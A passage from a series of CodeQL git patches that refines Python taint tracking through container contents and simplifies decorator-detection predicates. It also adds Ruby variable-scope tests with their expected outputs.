the wildcard for all dictionary elements. */ + predicate isAnyDictionaryElement() { this = TAnyDictionaryElement() } + /** Gets a content that may be stored into when storing into this set. */ - Content getAStoreContent() { result = this } + Content getAStoreContent() { this = TSingletonContent(result) } /** Gets a content that may be read from when reading from this set. */ - Content getAReadContent() { result = this } + Content getAReadContent() { + this = TSingletonContent(result) + or + // Wildcard expansion: a read at "any tuple element" matches a store at any + // specific tuple index. (Stores always target a specific index, so we don't + // need a `TupleElementAnyContent` Content kind here.) + this = TAnyTupleElement() and result instanceof TupleElementContent + or + this = TAnyDictionaryElement() and + (result instanceof DictionaryElementContent or result instanceof DictionaryElementAnyContent) + } /** Gets a textual representation of this content set. */ - string toString() { result = super.toString() } + string toString() { + exists(Content c | this = TSingletonContent(c) | result = c.toString()) + or + this = TAnyTupleElement() and result = "Any tuple element" + or + this = TAnyDictionaryElement() and result = "Any dictionary element" + } } + +/** Gets the singleton `ContentSet` wrapping the `Content` `c`. */ +ContentSet singleton(Content c) { result = TSingletonContent(c) } diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/FlowSummaryImpl.qll b/python/ql/lib/semmle/python/dataflow/new/internal/FlowSummaryImpl.qll index 41cb0368b50..1e9ffcf463c 100644 --- a/python/ql/lib/semmle/python/dataflow/new/internal/FlowSummaryImpl.qll +++ b/python/ql/lib/semmle/python/dataflow/new/internal/FlowSummaryImpl.qll @@ -66,21 +66,27 @@ module Input implements InputSig } string encodeContent(ContentSet cs, string arg) { - cs = TListElementContent() and result = "ListElement" and arg = "" - or - cs = TSetElementContent() and result = "SetElement" and arg = "" - or - exists(int index | - cs = TTupleElementContent(index) and result = "TupleElement" and arg = index.toString() + exists(Content c | cs.isSingleton(c) | + c = TListElementContent() and result = "ListElement" and arg = "" + or + c = TSetElementContent() and result = "SetElement" and arg = "" + or + exists(int index | + c = TTupleElementContent(index) and result = "TupleElement" and arg = index.toString() + ) + or + exists(string key | + c = TDictionaryElementContent(key) and result = "DictionaryElement" and arg = key + ) + or + c = TDictionaryElementAnyContent() and result = "DictionaryElementAny" and arg = "" + or + exists(string attr | c = TAttributeContent(attr) and result = "Attribute" and arg = attr) ) or - exists(string key | - cs = TDictionaryElementContent(key) and result = "DictionaryElement" and arg = key - ) + cs.isAnyTupleElement() and result = "AnyTupleElement" and arg = "" or - cs = TDictionaryElementAnyContent() and result = "DictionaryElementAny" and arg = "" - or - exists(string attr | cs = TAttributeContent(attr) and result = "Attribute" and arg = attr) + cs.isAnyDictionaryElement() and result = "AnyDictionaryElement" and arg = "" } bindingset[token] @@ -139,27 +145,29 @@ module Private { predicate withContent = SC::withContent/1; /** Gets a summary component that represents a list element. */ - SummaryComponent listElement() { result = content(any(ListElementContent c)) } + SummaryComponent listElement() { result = content(singleton(any(ListElementContent c))) } /** Gets a summary component that represents a set element. */ - SummaryComponent setElement() { result = content(any(SetElementContent c)) } + SummaryComponent setElement() { result = content(singleton(any(SetElementContent c))) } /** Gets a summary component that represents a tuple element. */ SummaryComponent tupleElement(int index) { - exists(TupleElementContent c | c.getIndex() = index and result = content(c)) + exists(TupleElementContent c | c.getIndex() = index and result = content(singleton(c))) } /** Gets a summary component that represents a dictionary element. */ SummaryComponent dictionaryElement(string key) { - exists(DictionaryElementContent c | c.getKey() = key and result = content(c)) + exists(DictionaryElementContent c | c.getKey() = key and result = content(singleton(c))) } /** Gets a summary component that represents a dictionary element at any key. */ - SummaryComponent dictionaryElementAny() { result = content(any(DictionaryElementAnyContent c)) } + SummaryComponent dictionaryElementAny() { + result = content(singleton(any(DictionaryElementAnyContent c))) + } /** Gets a summary component that represents an attribute element. */ SummaryComponent attribute(string attr) { - exists(AttributeContent c | c.getAttribute() = attr and result = content(c)) + exists(AttributeContent c | c.getAttribute() = attr and result = content(singleton(c))) } /** Gets a summary component that represents the return value of a call. */ diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll b/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll index 6959ceabe70..2d2cceb73c1 100644 --- a/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll +++ b/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll @@ -17,14 +17,15 @@ predicate defaultTaintSanitizer(DataFlow::Node node) { none() } */ bindingset[node] predicate defaultImplicitTaintRead(DataFlow::Node node, DataFlow::ContentSet c) { - // We allow implicit reads of precise content - // imprecise content has already bubled up. + // We allow implicit reads of precise content; imprecise content has already + // bubbled up. We use the wildcard content sets here rather than the + // per-key/per-index ones to avoid blowing up the size of `Stage1::readSetEx` + // (otherwise this predicate would expand to one row per (node, distinct key + // or index) and the framework's read-set relation grows quadratically). + // `ContentSet.getAReadContent` expands these wildcards back to the specific + // contents when matching against stores. exists(node) and - ( - c instanceof DataFlow::TupleElementContent - or - c instanceof DataFlow::DictionaryElementContent - ) + (c.isAnyTupleElement() or c.isAnyDictionaryElement()) } private module Cached { diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/TypeTrackingImpl.qll b/python/ql/lib/semmle/python/dataflow/new/internal/TypeTrackingImpl.qll index 95434b05451..215c7906e65 100644 --- a/python/ql/lib/semmle/python/dataflow/new/internal/TypeTrackingImpl.qll +++ b/python/ql/lib/semmle/python/dataflow/new/internal/TypeTrackingImpl.qll @@ -241,7 +241,7 @@ module TypeTrackingInput implements Shared::TypeTrackingInput { // is only fed set/list content) not nodeFrom instanceof DataFlowPublic::IterableElementNode or - TypeTrackerSummaryFlow::basicStoreStep(nodeFrom, nodeTo, content) + TypeTrackerSummaryFlow::basicStoreStep(nodeFrom, nodeTo, DataFlowPublic::singleton(content)) } /** @@ -272,14 +272,15 @@ module TypeTrackingInput implements Shared::TypeTrackingInput { nodeFrom.asCfgNode() instanceof SequenceNode ) or - TypeTrackerSummaryFlow::basicLoadStep(nodeFrom, nodeTo, content) + TypeTrackerSummaryFlow::basicLoadStep(nodeFrom, nodeTo, DataFlowPublic::singleton(content)) } /** * Holds if the `loadContent` of `nodeFrom` is stored in the `storeContent` of `nodeTo`. */ predicate loadStoreStep(Node nodeFrom, Node nodeTo, Content loadContent, Content storeContent) { - TypeTrackerSummaryFlow::basicLoadStoreStep(nodeFrom, nodeTo, loadContent, storeContent) + TypeTrackerSummaryFlow::basicLoadStoreStep(nodeFrom, nodeTo, + DataFlowPublic::singleton(loadContent), DataFlowPublic::singleton(storeContent)) } /** diff --git a/python/ql/src/Variables/LoopVariableCapture/LoopVariableCaptureQuery.qll b/python/ql/src/Variables/LoopVariableCapture/LoopVariableCaptureQuery.qll index 987740236f2..6b3e428b995 100644 --- a/python/ql/src/Variables/LoopVariableCapture/LoopVariableCaptureQuery.qll +++ b/python/ql/src/Variables/LoopVariableCapture/LoopVariableCaptureQuery.qll @@ -61,10 +61,13 @@ module EscapingCaptureFlowConfig implements DataFlow::ConfigSig { predicate allowImplicitRead(DataFlow::Node node, DataFlow::ContentSet cs) { isSink(node) and ( - cs.(DataFlow::TupleElementContent).getIndex() in [0 .. 10] or - cs instanceof DataFlow::ListElementContent or - cs instanceof DataFlow::SetElementContent or - cs instanceof DataFlow::DictionaryElementAnyContent + cs.isAnyTupleElement() + or + cs.isAnyDictionaryElement() + or + cs.getAStoreContent() instanceof DataFlow::ListElementContent + or + cs.getAStoreContent() instanceof DataFlow::SetElementContent ) } } diff --git a/python/ql/test/library-tests/frameworks/stdlib/test_re.py b/python/ql/test/library-tests/frameworks/stdlib/test_re.py index 8ed6f620bfa..8107b7dd988 100644 --- a/python/ql/test/library-tests/frameworks/stdlib/test_re.py +++ b/python/ql/test/library-tests/frameworks/stdlib/test_re.py @@ -6,16 +6,16 @@ pat = ... # some pattern compiled_pat = re.compile(pat) # see https://docs.python.org/3/library/re.html#functions -ensure_not_tainted( - # returns Match object, which is tested properly below. (note: with the flow summary - # modeling, objects containing tainted values are not themselves tainted). - re.search(pat, ts), - re.match(pat, ts), - re.fullmatch(pat, ts), +ensure_tainted( + # returns Match object, which is tested properly below. (note: the match objects contain + # tainted values but are not themselves tainted - this test relies on implicit reads at sinks). + re.search(pat, ts), # $ tainted + re.match(pat, ts), # $ tainted + re.fullmatch(pat, ts), # $ tainted - compiled_pat.search(ts), - compiled_pat.match(ts), - compiled_pat.fullmatch(ts), + compiled_pat.search(ts), # $ tainted + compiled_pat.match(ts), # $ tainted + compiled_pat.fullmatch(ts), # $ tainted ) # Match object From 80c6f082d114ce5772dd38330b528868e3914363 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 28 May 2026 11:34:02 +0100 Subject: [PATCH 021/143] Fix TODO in `containerStep` --- .../new/internal/TaintTrackingPrivate.qll | 57 ++++++++++--------- 1 file changed, 29 insertions(+), 28 deletions(-) diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll b/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll index 2d2cceb73c1..de5a06eaaad 100644 --- a/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll +++ b/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll @@ -11,21 +11,35 @@ private import semmle.python.ApiGraphs */ predicate defaultTaintSanitizer(DataFlow::Node node) { none() } +/** + * Holds if default taint tracking should read content `contentSet` implicitly and + * propagate taint from a container to reads of that content. + */ +private predicate defaultTaintReadContent(DataFlow::ContentSet contentSet) { + // Tuple and dictionary content is precise, so use wildcard content sets to avoid + // blowing up the size of `Stage1::readSetEx` (otherwise this predicate would + // expand to one row per (node, distinct key or index) and the framework's + // read-set relation grows quadratically). `ContentSet.getAReadContent` expands + // these wildcards back to the specific contents when matching against stores. + contentSet.isAnyTupleElement() + or + contentSet.isAnyDictionaryElement() + or + // List and set element content is already imprecise, so no wildcard expansion is + // needed. + contentSet.getAStoreContent() instanceof DataFlow::ListElementContent + or + contentSet.getAStoreContent() instanceof DataFlow::SetElementContent +} + /** * Holds if default `TaintTracking::Configuration`s should allow implicit reads * of `c` at sinks and inputs to additional taint steps. */ bindingset[node] predicate defaultImplicitTaintRead(DataFlow::Node node, DataFlow::ContentSet c) { - // We allow implicit reads of precise content; imprecise content has already - // bubbled up. We use the wildcard content sets here rather than the - // per-key/per-index ones to avoid blowing up the size of `Stage1::readSetEx` - // (otherwise this predicate would expand to one row per (node, distinct key - // or index) and the framework's read-set relation grows quadratically). - // `ContentSet.getAReadContent` expands these wildcards back to the specific - // contents when matching against stores. exists(node) and - (c.isAnyTupleElement() or c.isAnyDictionaryElement()) + defaultTaintReadContent(c) } private module Cached { @@ -171,28 +185,15 @@ predicate stringManipulation(DataFlow::CfgNode nodeFrom, DataFlow::CfgNode nodeT } /** - * Holds if taint can flow from `nodeFrom` to `nodeTo` with a step related to containers - * (lists/sets/dictionaries): literals, constructor invocation, methods. Note that this - * is currently very imprecise, as an example, since we model `dict.get`, we treat any - * `.get()` will be tainted, whether it's true or not. + * Holds if taint can flow from `nodeFrom` to `nodeTo` with a step related to reading + * content from containers (lists/sets/dictionaries/tuples): subscripts, iteration, + * constructor invocation, methods. */ predicate containerStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) { - // construction by literal - // - // TODO: once we have proper flow-summary modeling, we might not need this step any - // longer -- but there needs to be a matching read-step for the store-step, and we - // don't provide that right now. - DataFlowPrivate::listStoreStep(nodeFrom, _, nodeTo) - or - DataFlowPrivate::setStoreStep(nodeFrom, _, nodeTo) - or - // comprehension, so there is taint-flow from `x` in `[x for x in xs]` to the - // resulting list of the list-comprehension. - // - // TODO: once we have proper flow-summary modeling, we might not need this step any - // longer -- but there needs to be a matching read-step for the store-step, and we - // don't provide that right now. - DataFlowPrivate::yieldStoreStep(nodeFrom, _, nodeTo) + exists(DataFlow::ContentSet contentSet | + DataFlowPrivate::readStep(nodeFrom, contentSet, nodeTo) and + defaultTaintReadContent(contentSet) + ) } /** From 812e8e6b34e09795f3013a89c2a77922b72819d7 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 28 May 2026 11:37:54 +0100 Subject: [PATCH 022/143] Add change note --- .../2026-05-28-remove-imprecise-containter-steps.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 python/ql/lib/change-notes/2026-05-28-remove-imprecise-containter-steps.md diff --git a/python/ql/lib/change-notes/2026-05-28-remove-imprecise-containter-steps.md b/python/ql/lib/change-notes/2026-05-28-remove-imprecise-containter-steps.md new file mode 100644 index 00000000000..25c664d6c05 --- /dev/null +++ b/python/ql/lib/change-notes/2026-05-28-remove-imprecise-containter-steps.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* Python taint tracking is now more precise for values flowing through container contents, such as list, set, tuple, and dictionary elements. This may remove some false positive alerts. From df15a719cb77241ab46f4268ec7c424c206aa03d Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 28 May 2026 16:48:23 +0100 Subject: [PATCH 023/143] Add a `ContentSet` for any tuple or dictionary element --- .../semmle/python/dataflow/new/internal/DataFlowPrivate.qll | 4 ++-- .../semmle/python/dataflow/new/internal/DataFlowPublic.qll | 6 +++++- .../semmle/python/dataflow/new/internal/FlowSummaryImpl.qll | 2 ++ .../python/dataflow/new/internal/TaintTrackingPrivate.qll | 4 +--- .../LoopVariableCapture/LoopVariableCaptureQuery.qll | 4 +--- 5 files changed, 11 insertions(+), 9 deletions(-) diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 1c9ec5dff17..1ea5765dc37 100644 --- a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -1078,7 +1078,7 @@ module Conversions { nodeFrom = decoding.getAnInput() and nodeTo = decoding.getOutput() ) and - (c.isAnyTupleElement() or c.isAnyDictionaryElement()) + c.isAnyTupleOrDictionaryElement() } predicate encoderReadStep(Node nodeFrom, ContentSet c, Node nodeTo) { @@ -1086,7 +1086,7 @@ module Conversions { nodeFrom = encoding.getAnInput() and nodeTo = encoding.getOutput() ) and - (c.isAnyTupleElement() or c.isAnyDictionaryElement()) + c.isAnyTupleOrDictionaryElement() } predicate formatReadStep(Node nodeFrom, ContentSet c, Node nodeTo) { diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPublic.qll b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPublic.qll index 173a5598149..c1e01cf08a9 100644 --- a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPublic.qll +++ b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPublic.qll @@ -914,7 +914,8 @@ class CapturedVariableContent extends Content, TCapturedVariableContent { private newtype TContentSet = TSingletonContent(Content c) or TAnyTupleElement() or - TAnyDictionaryElement() + TAnyDictionaryElement() or + TAnyTupleOrDictionaryElement() /** * An entity that represents a set of `Content`s. @@ -932,6 +933,9 @@ class ContentSet extends TContentSet { /** Holds if this content set is the wildcard for all dictionary elements. */ predicate isAnyDictionaryElement() { this = TAnyDictionaryElement() } + /** Holds if this content set is the wildcard for all tuple elements or dictionary elements. */ + predicate isAnyTupleOrDictionaryElement() { this = TAnyTupleOrDictionaryElement() } + /** Gets a content that may be stored into when storing into this set. */ Content getAStoreContent() { this = TSingletonContent(result) } diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/FlowSummaryImpl.qll b/python/ql/lib/semmle/python/dataflow/new/internal/FlowSummaryImpl.qll index 1e9ffcf463c..0931fcca0dc 100644 --- a/python/ql/lib/semmle/python/dataflow/new/internal/FlowSummaryImpl.qll +++ b/python/ql/lib/semmle/python/dataflow/new/internal/FlowSummaryImpl.qll @@ -87,6 +87,8 @@ module Input implements InputSig cs.isAnyTupleElement() and result = "AnyTupleElement" and arg = "" or cs.isAnyDictionaryElement() and result = "AnyDictionaryElement" and arg = "" + or + cs.isAnyTupleOrDictionaryElement() and result = "AnyTupleOrDictionaryElement" and arg = "" } bindingset[token] diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll b/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll index de5a06eaaad..7f25d276c07 100644 --- a/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll +++ b/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll @@ -21,9 +21,7 @@ private predicate defaultTaintReadContent(DataFlow::ContentSet contentSet) { // expand to one row per (node, distinct key or index) and the framework's // read-set relation grows quadratically). `ContentSet.getAReadContent` expands // these wildcards back to the specific contents when matching against stores. - contentSet.isAnyTupleElement() - or - contentSet.isAnyDictionaryElement() + contentSet.isAnyTupleOrDictionaryElement() or // List and set element content is already imprecise, so no wildcard expansion is // needed. diff --git a/python/ql/src/Variables/LoopVariableCapture/LoopVariableCaptureQuery.qll b/python/ql/src/Variables/LoopVariableCapture/LoopVariableCaptureQuery.qll index 6b3e428b995..80577805e6d 100644 --- a/python/ql/src/Variables/LoopVariableCapture/LoopVariableCaptureQuery.qll +++ b/python/ql/src/Variables/LoopVariableCapture/LoopVariableCaptureQuery.qll @@ -61,9 +61,7 @@ module EscapingCaptureFlowConfig implements DataFlow::ConfigSig { predicate allowImplicitRead(DataFlow::Node node, DataFlow::ContentSet cs) { isSink(node) and ( - cs.isAnyTupleElement() - or - cs.isAnyDictionaryElement() + cs.isAnyTupleOrDictionaryElement() or cs.getAStoreContent() instanceof DataFlow::ListElementContent or From aee33a0cc90918b121717ee26719fc25fe51a174 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Fri, 29 May 2026 10:26:24 +0100 Subject: [PATCH 024/143] Add missing code for `TAnyTupleOrDictionaryElement` --- .../python/dataflow/new/internal/DataFlowPublic.qll | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPublic.qll b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPublic.qll index c1e01cf08a9..bb393630463 100644 --- a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPublic.qll +++ b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPublic.qll @@ -950,6 +950,13 @@ class ContentSet extends TContentSet { or this = TAnyDictionaryElement() and (result instanceof DictionaryElementContent or result instanceof DictionaryElementAnyContent) + or + this = TAnyTupleOrDictionaryElement() and + ( + result instanceof TupleElementContent or + result instanceof DictionaryElementContent or + result instanceof DictionaryElementAnyContent + ) } /** Gets a textual representation of this content set. */ @@ -959,6 +966,8 @@ class ContentSet extends TContentSet { this = TAnyTupleElement() and result = "Any tuple element" or this = TAnyDictionaryElement() and result = "Any dictionary element" + or + this = TAnyTupleOrDictionaryElement() and result = "Any tuple or dictionary element" } } From b38440490aa08908676522e16dd3683174f16de9 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Sun, 31 May 2026 21:41:57 +0100 Subject: [PATCH 025/143] Address review comment --- .../python/dataflow/new/internal/TaintTrackingPrivate.qll | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll b/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll index 7f25d276c07..636e65dc088 100644 --- a/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll +++ b/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll @@ -190,7 +190,11 @@ predicate stringManipulation(DataFlow::CfgNode nodeFrom, DataFlow::CfgNode nodeT predicate containerStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) { exists(DataFlow::ContentSet contentSet | DataFlowPrivate::readStep(nodeFrom, contentSet, nodeTo) and - defaultTaintReadContent(contentSet) + exists(DataFlow::Content c | c = contentSet.getAReadContent() | + c instanceof DataFlow::TupleElementContent or + c instanceof DataFlow::DictionaryElementContent or + c instanceof DataFlow::DictionaryElementAnyContent + ) ) } From 5fb75ac9878cf9fd59cffa267520979dc6fce0da Mon Sep 17 00:00:00 2001 From: yoff Date: Mon, 1 Jun 2026 14:04:43 +0000 Subject: [PATCH 026/143] Python: simplify decorator-detection predicates to pure AST match MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The internal predicates that identify `@staticmethod`, `@classmethod` and `@property` decorators previously required the decorator's `NameNode` to satisfy `isGlobal()` (i.e. no SSA def reaches the decorator's name use). That filter was correct but unnecessarily indirect: these three names are builtins, and even when a class body redefines one, the class body has not started executing at the decorator position, so Python uses the builtin. Match the decorator's AST `Name` directly instead, dropping the CFG/SSA detour. The slight semantic change — `isGlobal()` would have rejected module-level shadowing of these builtins — is negligible in practice and explicitly documented in the change note. `hasContextmanagerDecorator` and `hasOverloadDecorator` keep the `NameNode.isGlobal()` check because their target names (`contextmanager`, `overload`) are imported, not builtin, and local shadowing is a real concern. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- ...6-01-decorator-predicate-simplification.md | 4 ++++ .../new/internal/DataFlowDispatch.qll | 20 ++++++++++--------- 2 files changed, 15 insertions(+), 9 deletions(-) create mode 100644 python/ql/lib/change-notes/2026-06-01-decorator-predicate-simplification.md diff --git a/python/ql/lib/change-notes/2026-06-01-decorator-predicate-simplification.md b/python/ql/lib/change-notes/2026-06-01-decorator-predicate-simplification.md new file mode 100644 index 00000000000..44ee5b5ff80 --- /dev/null +++ b/python/ql/lib/change-notes/2026-06-01-decorator-predicate-simplification.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* Simplified the internal predicates that detect `@staticmethod`, `@classmethod` and `@property` decorators to match the decorator's AST `Name` directly, rather than going through the CFG and requiring the name to resolve globally. Code that shadows these three builtin decorators at the module-scope will now be classified by the decorator name alone; in practice, shadowing these names is extremely rare and the call-graph results are unchanged. diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowDispatch.qll b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowDispatch.qll index 1db6c08f5f4..4e3a011e8d1 100644 --- a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowDispatch.qll +++ b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowDispatch.qll @@ -256,9 +256,12 @@ predicate parameterMatch(ParameterPosition ppos, ArgumentPosition apos) { */ overlay[local] predicate isStaticmethod(Function func) { - exists(NameNode id | id.getId() = "staticmethod" and id.isGlobal() | - func.getADecorator() = id.getNode() - ) + // The decorator is *syntactically* a `Name` "staticmethod" — we don't + // care which variable it resolves to. `staticmethod` is a builtin and + // is almost never shadowed in a module-level scope; even if a class + // redefines `staticmethod` in its body, the class body has not started + // executing yet at the decorator position, so Python uses the builtin. + func.getADecorator().(Name).getId() = "staticmethod" } /** @@ -268,9 +271,9 @@ predicate isStaticmethod(Function func) { */ overlay[local] predicate isClassmethod(Function func) { - exists(NameNode id | id.getId() = "classmethod" and id.isGlobal() | - func.getADecorator() = id.getNode() - ) + // See `isStaticmethod` for the rationale for matching on the AST `Name` + // rather than going via the CFG and `isGlobal()`. + func.getADecorator().(Name).getId() = "classmethod" or exists(Class cls | cls.getAMethod() = func and @@ -285,9 +288,8 @@ predicate isClassmethod(Function func) { /** Holds if the function `func` has a `property` decorator. */ overlay[local] predicate hasPropertyDecorator(Function func) { - exists(NameNode id | id.getId() = "property" and id.isGlobal() | - func.getADecorator() = id.getNode() - ) + // See `isStaticmethod` for the rationale for matching on the AST `Name`. + func.getADecorator().(Name).getId() = "property" } /** From 434850edd34898e8cd3bf69aabb25f5c31bf2d0f Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Fri, 29 May 2026 09:57:44 +0200 Subject: [PATCH 027/143] Ruby: More variable tests --- .../variables/parameter.expected | 2 + .../ql/test/library-tests/variables/scopes.rb | 18 ++++- .../test/library-tests/variables/ssa.expected | 62 ++++++++++------ .../variables/varaccess.expected | 72 ++++++++++++------- .../library-tests/variables/variable.expected | 10 ++- .../variables/varscopes.expected | 6 +- 6 files changed, 119 insertions(+), 51 deletions(-) diff --git a/ruby/ql/test/library-tests/variables/parameter.expected b/ruby/ql/test/library-tests/variables/parameter.expected index c04df71117d..437e39546eb 100644 --- a/ruby/ql/test/library-tests/variables/parameter.expected +++ b/ruby/ql/test/library-tests/variables/parameter.expected @@ -29,6 +29,8 @@ parameterVariable | scopes.rb:2:14:2:14 | x | scopes.rb:2:14:2:14 | x | | scopes.rb:9:14:9:14 | x | scopes.rb:9:14:9:14 | x | | scopes.rb:69:15:69:15 | x | scopes.rb:69:15:69:15 | x | +| scopes.rb:80:13:80:17 | value | scopes.rb:80:13:80:17 | value | +| scopes.rb:84:11:84:13 | msg | scopes.rb:84:11:84:13 | msg | | ssa.rb:1:7:1:7 | b | ssa.rb:1:7:1:7 | b | | ssa.rb:18:8:18:8 | x | ssa.rb:18:8:18:8 | x | | ssa.rb:25:8:25:15 | elements | ssa.rb:25:8:25:15 | elements | diff --git a/ruby/ql/test/library-tests/variables/scopes.rb b/ruby/ql/test/library-tests/variables/scopes.rb index c37146cd681..50a8ad9b107 100644 --- a/ruby/ql/test/library-tests/variables/scopes.rb +++ b/ruby/ql/test/library-tests/variables/scopes.rb @@ -70,4 +70,20 @@ module ParameterShadowing puts x end puts x # prints `1`, not `3` -end \ No newline at end of file +end + +class RescueSetter + def name + @name + end + + def name=(value) + @name = value + end + + def foo(msg) + raise msg + rescue => self.name # calls `name=` + :caught + end +end diff --git a/ruby/ql/test/library-tests/variables/ssa.expected b/ruby/ql/test/library-tests/variables/ssa.expected index ab68d17ac2a..7808d18dbbe 100644 --- a/ruby/ql/test/library-tests/variables/ssa.expected +++ b/ruby/ql/test/library-tests/variables/ssa.expected @@ -86,12 +86,12 @@ definition | parameters.rb:59:20:59:20 | a | parameters.rb:59:20:59:20 | a | | parameters.rb:59:23:59:23 | b | parameters.rb:59:23:59:23 | b | | parameters.rb:59:25:59:25 | c | parameters.rb:59:25:59:25 | c | -| scopes.rb:1:1:73:3 | self (scopes.rb) | scopes.rb:1:1:73:3 | self | -| scopes.rb:2:9:6:3 | self | scopes.rb:1:1:73:3 | self | +| scopes.rb:1:1:89:4 | self (scopes.rb) | scopes.rb:1:1:89:4 | self | +| scopes.rb:2:9:6:3 | self | scopes.rb:1:1:89:4 | self | | scopes.rb:4:4:4:4 | a | scopes.rb:4:4:4:4 | a | | scopes.rb:7:1:7:1 | a | scopes.rb:7:1:7:1 | a | | scopes.rb:9:9:18:3 | a | scopes.rb:7:1:7:1 | a | -| scopes.rb:9:9:18:3 | self | scopes.rb:1:1:73:3 | self | +| scopes.rb:9:9:18:3 | self | scopes.rb:1:1:89:4 | self | | scopes.rb:11:4:11:4 | a | scopes.rb:7:1:7:1 | a | | scopes.rb:13:4:13:4 | a | scopes.rb:7:1:7:1 | a | | scopes.rb:13:7:13:7 | b | scopes.rb:13:7:13:7 | b | @@ -111,6 +111,12 @@ definition | scopes.rb:68:3:68:4 | xs | scopes.rb:68:3:68:4 | xs | | scopes.rb:69:11:71:5 | self | scopes.rb:66:1:73:3 | self | | scopes.rb:69:15:69:15 | x | scopes.rb:69:15:69:15 | x | +| scopes.rb:75:1:89:3 | self (RescueSetter) | scopes.rb:75:1:89:3 | self | +| scopes.rb:76:3:78:5 | self (name) | scopes.rb:76:3:78:5 | self | +| scopes.rb:80:3:82:5 | self (name=) | scopes.rb:80:3:82:5 | self | +| scopes.rb:80:13:80:17 | value | scopes.rb:80:13:80:17 | value | +| scopes.rb:84:3:88:5 | self (foo) | scopes.rb:84:3:88:5 | self | +| scopes.rb:84:11:84:13 | msg | scopes.rb:84:11:84:13 | msg | | ssa.rb:1:1:16:3 | self (m) | ssa.rb:1:1:16:3 | self | | ssa.rb:1:7:1:7 | b | ssa.rb:1:7:1:7 | b | | ssa.rb:2:3:2:3 | i | ssa.rb:2:3:2:3 | i | @@ -267,20 +273,20 @@ read | parameters.rb:59:20:59:20 | a | parameters.rb:59:20:59:20 | a | parameters.rb:60:11:60:11 | a | | parameters.rb:59:23:59:23 | b | parameters.rb:59:23:59:23 | b | parameters.rb:60:16:60:16 | b | | parameters.rb:59:25:59:25 | c | parameters.rb:59:25:59:25 | c | parameters.rb:60:21:60:21 | c | -| scopes.rb:1:1:73:3 | self (scopes.rb) | scopes.rb:1:1:73:3 | self | scopes.rb:8:1:8:6 | self | -| scopes.rb:2:9:6:3 | self | scopes.rb:1:1:73:3 | self | scopes.rb:3:4:3:9 | self | -| scopes.rb:2:9:6:3 | self | scopes.rb:1:1:73:3 | self | scopes.rb:3:9:3:9 | self | -| scopes.rb:2:9:6:3 | self | scopes.rb:1:1:73:3 | self | scopes.rb:5:4:5:9 | self | +| scopes.rb:1:1:89:4 | self (scopes.rb) | scopes.rb:1:1:89:4 | self | scopes.rb:8:1:8:6 | self | +| scopes.rb:2:9:6:3 | self | scopes.rb:1:1:89:4 | self | scopes.rb:3:4:3:9 | self | +| scopes.rb:2:9:6:3 | self | scopes.rb:1:1:89:4 | self | scopes.rb:3:9:3:9 | self | +| scopes.rb:2:9:6:3 | self | scopes.rb:1:1:89:4 | self | scopes.rb:5:4:5:9 | self | | scopes.rb:4:4:4:4 | a | scopes.rb:4:4:4:4 | a | scopes.rb:5:9:5:9 | a | | scopes.rb:7:1:7:1 | a | scopes.rb:7:1:7:1 | a | scopes.rb:8:6:8:6 | a | | scopes.rb:9:9:18:3 | a | scopes.rb:7:1:7:1 | a | scopes.rb:10:9:10:9 | a | | scopes.rb:9:9:18:3 | a | scopes.rb:7:1:7:1 | a | scopes.rb:11:4:11:4 | a | -| scopes.rb:9:9:18:3 | self | 